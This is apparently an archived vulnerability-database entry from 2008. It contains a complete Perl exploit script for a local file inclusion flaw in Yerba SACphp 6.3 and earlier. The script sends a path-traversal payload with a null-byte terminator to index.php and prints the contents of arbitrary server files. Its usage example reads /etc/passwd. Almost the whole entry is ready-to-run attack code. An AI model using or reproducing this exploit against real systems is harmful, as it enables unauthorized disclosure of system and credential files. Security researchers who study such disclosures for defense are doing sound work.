Yerba SACphp <= 6.3 / Local File Inclusion Exploit

2008-10-08T00:00:00
ID SECURITYVULNS:DOC:20668
Type securityvulns
Reporter Securityvulns
Modified 2008-10-08T00:00:00

Description

! /usr/bin/perl

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Yerba SACphp <= 6.3 / Local File Inclusion Exploit

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Program: Yerba SACphp

Version: <= 6.3

File affected: index.php

Download: http://sourceforge.net/projects/yerba/

Found by Pepelux <pepelux[at]enye-sec.org>

eNYe-Sec - www.enye-sec.org

Bug:

37- include("modulos/$mod/mod_nucleo.php");

use LWP::UserAgent; use HTTP::Request::Common;

my ($host, $file) = @ARGV ;

unless($ARGV[1]){

    print &quot;&#92;nUsage: perl $0 &lt;host&gt; &lt;file_to_edit&gt;&#92;n&quot;;

    print &quot;&#92;tex: perl $0 http://localhost /etc/passwd&#92;n&#92;n&quot;;

    exit 1;

}

$host = 'http://'.$host if ($host !~ /^http:/);

$host .= "/" if ($host !~ /\/\$/);

my $ua = LWP::UserAgent->new(); $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1");

$ua->timeout(10);

my $request = HTTP::Request->new(); my $response; my $url = $host."index.php";

my $req = HTTP::Request->new(POST => $host."index.php");

$req->content_type('application/x-www-form-urlencoded');

$req->content("mod=../../../../../".$file."%00");

$request = $ua->request($req);

$result = $request->content;

$result =~ s/<[^>]*>//g;

print $result . "\n";

exit;